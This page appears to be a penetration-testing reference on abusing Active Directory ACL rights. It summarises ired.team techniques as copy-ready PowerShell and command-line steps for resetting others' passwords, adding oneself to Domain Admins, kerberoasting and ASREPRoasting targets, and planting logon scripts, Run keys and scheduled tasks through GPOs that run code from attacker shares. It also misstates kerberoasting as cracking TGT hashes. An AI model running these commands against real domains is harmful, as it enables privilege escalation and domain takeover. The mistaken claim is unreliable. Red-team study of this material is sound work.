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# Abusing Active Directory ACLs/ACEs
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**This page is mostly a summary of the techniques from** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **and** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**. For more details, check the original articles.**
## **GenericAll Rights on User**
This privilege grants an attacker full control over a target user account. Once `GenericAll` rights are confirmed using the `Get-ObjectAcl` command, an attacker can:
* **Change the Target's Password**: Using `net user <username> <password> /domain`, the attacker can reset the user's password.
* **Targeted Kerberoasting**: Assign an SPN to the user's account to make it kerberoastable, then use Rubeus and targetedKerberoast.py to extract and attempt to crack the ticket-granting ticket (TGT) hashes.
```powershell
Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}
.\Rubeus.exe kerberoast /user:<username> /nowrap
Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipalname -Verbose
```
* **Targeted ASREPRoasting**: Disable pre-authentication for the user, making their account vulnerable to ASREPRoasting.
```powershell
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
```
## **GenericAll Rights on Group**
This privilege allows an attacker to manipulate group memberships if they have `GenericAll` rights on a group like `Domain Admins`. After identifying the group's distinguished name with `Get-NetGroup`, the attacker can:
* **Add Themselves to the Domain Admins Group**: This can be done via direct commands or using modules like Active Directory or PowerSploit.
```powershell
net group "domain admins" spotless /add /domain
Add-ADGroupMember -Identity "domain admins" -Members spotless
Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"
```
## **GenericAll / GenericWrite / Write on Computer/User**
Holding these privileges on a computer object or a user account allows for:
* **Kerberos Resource-based Constrained Delegation**: Enables taking over a computer object.
* **Shadow Credentials**: Use this technique to impersonate a computer or user account by exploiting the privileges to create shadow credentials.
## **WriteProperty on Group**
If a user has `WriteProperty` rights on all objects for a specific group (e.g., `Domain Admins`), they can:
* **Add Themselves to the Domain Admins Group**: Achievable via combining `net user` and `Add-NetGroupUser` commands, this method allows privilege escalation within the domain.
```powershell
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
```
## **Self (Self-Membership) on Group**
This privilege enables attackers to add themselves to specific groups, such as `Domain Admins`, through commands that manipulate group membership directly. Using the following command sequence allows for self-addition:
```powershell
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
```
## **WriteProperty (Self-Membership)**
A similar privilege, this allows attackers to directly add themselves to groups by modifying group properties if they have the `WriteProperty` right on those groups. The confirmation and execution of this privilege are performed with:
```powershell
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
net group "domain admins" spotless /add /domain
```
## **ForceChangePassword**
Holding the `ExtendedRight` on a user for `User-Force-Change-Password` allows password resets without knowing the current password. Verification of this right and its exploitation can be done through PowerShell or alternative command-line tools, offering several methods to reset a user's password, including interactive sessions and one-liners for non-interactive environments. The commands range from simple PowerShell invocations to using `rpcclient` on Linux, demonstrating the versatility of attack vectors.
```powershell
Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
Set-DomainUserPassword -Identity delegate -Verbose
Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
```
```bash
rpcclient -U KnownUsername 10.10.10.192
> setuserinfo2 UsernameChange 23 'ComplexP4ssw0rd!'
```
## **WriteOwner on Group**
If an attacker finds that they have `WriteOwner` rights over a group, they can change the ownership of the group to themselves. This is particularly impactful when the group in question is `Domain Admins`, as changing ownership allows for broader control over group attributes and membership. The process involves identifying the correct object via `Get-ObjectAcl` and then using `Set-DomainObjectOwner` to modify the owner, either by SID or name.
```powershell
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose
Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico
```
## **GenericWrite on User**
This permission allows an attacker to modify user properties. Specifically, with `GenericWrite` access, the attacker can change the logon script path of a user to execute a malicious script upon user logon. This is achieved by using the `Set-ADObject` command to update the `scriptpath` property of the target user to point to the attacker's script.
```powershell
Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"
```
## **GenericWrite on Group**
With this privilege, attackers can manipulate group membership, such as adding themselves or other users to specific groups. This process involves creating a credential object, using it to add or remove users from a group, and verifying the membership changes with PowerShell commands.
```powershell
$pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd)
Add-DomainGroupMember -Credential $creds -Identity 'Group Name' -Members 'username' -Verbose
Get-DomainGroupMember -Identity "Group Name" | Select MemberName
Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'username' -Verbose
```
## **WriteDACL + WriteOwner**
Owning an AD object and having `WriteDACL` privileges on it enables an attacker to grant themselves `GenericAll` privileges over the object. This is accomplished through ADSI manipulation, allowing for full control over the object and the ability to modify its group memberships. Despite this, limitations exist when trying to exploit these privileges using the Active Directory module's `Set-Acl` / `Get-Acl` cmdlets.
```powershell
$ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
$IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityReference,"GenericAll","Allow"
$ADSI.psbase.ObjectSecurity.SetAccessRule($ACE)
$ADSI.psbase.commitchanges()
```
## **Replication on the Domain (DCSync)**
The DCSync attack leverages specific replication permissions on the domain to mimic a Domain Controller and synchronize data, including user credentials. This powerful technique requires permissions like `DS-Replication-Get-Changes`, allowing attackers to extract sensitive information from the AD environment without direct access to a Domain Controller. [**Learn more about the DCSync attack here.**](../dcsync.md)
## GPO Delegation <a href="#gpo-delegation" id="gpo-delegation"></a>
### GPO Delegation
Delegated access to manage Group Policy Objects (GPOs) can present significant security risks. For instance, if a user such as `offense\spotless` is delegated GPO management rights, they may have privileges like **WriteProperty**, **WriteDacl**, and **WriteOwner**. These permissions can be abused for malicious purposes, as identified using PowerView: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
### Enumerate GPO Permissions
To identify misconfigured GPOs, PowerSploit's cmdlets can be chained together. This allows for the discovery of GPOs that a specific user has permissions to manage: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
**Computers with a Given Policy Applied**: It's possible to resolve which computers a specific GPO applies to, helping understand the scope of potential impact. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`
**Policies Applied to a Given Computer**: To see what policies are applied to a particular computer, commands like `Get-DomainGPO` can be utilized.
**OUs with a Given Policy Applied**: Identifying organizational units (OUs) affected by a given policy can be done using `Get-DomainOU`.
### Abuse GPO - New-GPOImmediateTask
Misconfigured GPOs can be exploited to execute code, for example, by creating an immediate scheduled task. This can be done to add a user to the local administrators group on affected machines, significantly elevating privileges:
```powershell
New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force
```
### GroupPolicy module - Abuse GPO
The GroupPolicy module, if installed, allows for the creation and linking of new GPOs, and setting preferences such as registry values to execute backdoors on affected computers. This method requires the GPO to be updated and a user to log in to the computer for execution:
```powershell
New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io"
Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString
```
### SharpGPOAbuse - Abuse GPO
SharpGPOAbuse offers a method to abuse existing GPOs by adding tasks or modifying settings without the need to create new GPOs. This tool requires modification of existing GPOs or using RSAT tools to create new ones before applying changes:
```bash
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\software\pivot.exe" --GPOName "PowerShell Logging"
```
### Force Policy Update
GPO updates typically occur around every 90 minutes. To expedite this process, especially after implementing a change, the `gpupdate /force` command can be used on the target computer to force an immediate policy update. This command ensures that any modifications to GPOs are applied without waiting for the next automatic update cycle.
### Under the Hood
Upon inspection of the Scheduled Tasks for a given GPO, like the `Misconfigured Policy`, the addition of tasks such as `evilTask` can be confirmed. These tasks are created through scripts or command-line tools aiming to modify system behavior or escalate privileges.
The structure of the task, as shown in the XML configuration file generated by `New-GPOImmediateTask`, outlines the specifics of the scheduled task - including the command to be executed and its triggers. This file represents how scheduled tasks are defined and managed within GPOs, providing a method for executing arbitrary commands or scripts as part of policy enforcement.
### Users and Groups
GPOs also allow for the manipulation of user and group memberships on target systems. By editing the Users and Groups policy files directly, attackers can add users to privileged groups, such as the local `administrators` group. This is possible through the delegation of GPO management permissions, which permits the modification of policy files to include new users or change group memberships.
The XML configuration file for Users and Groups outlines how these changes are implemented. By adding entries to this file, specific users can be granted elevated privileges across affected systems. This method offers a direct approach to privilege escalation through GPO manipulation.
Furthermore, additional methods for executing code or maintaining persistence, such as leveraging logon/logoff scripts, modifying registry keys for autoruns, installing software via .msi files, or editing service configurations, can also be considered. These techniques provide various avenues for maintaining access and controlling target systems through the abuse of GPOs.
## References
* [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces)
* [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)
* [https://wald0.com/?p=112](https://wald0.com/?p=112)
* [https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryrights?view=netframework-4.7.2](https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryrights?view=netframework-4.7.2)
* [https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/](https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/)
* [https://adsecurity.org/?p=3658](https://adsecurity.org/?p=3658)
* [https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System\_DirectoryServices\_ActiveDirectoryAccessRule\_\_ctor\_System\_Security\_Principal\_IdentityReference\_System\_DirectoryServices\_ActiveDirectoryRights\_System\_Security\_AccessControl\_AccessControlType\_](https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System\_DirectoryServices\_ActiveDirectoryAccessRule\_\_ctor\_System\_Security\_Principal\_IdentityReference\_System\_DirectoryServices\_ActiveDirectoryRights\_System\_Security\_AccessControl\_AccessControlType\_)
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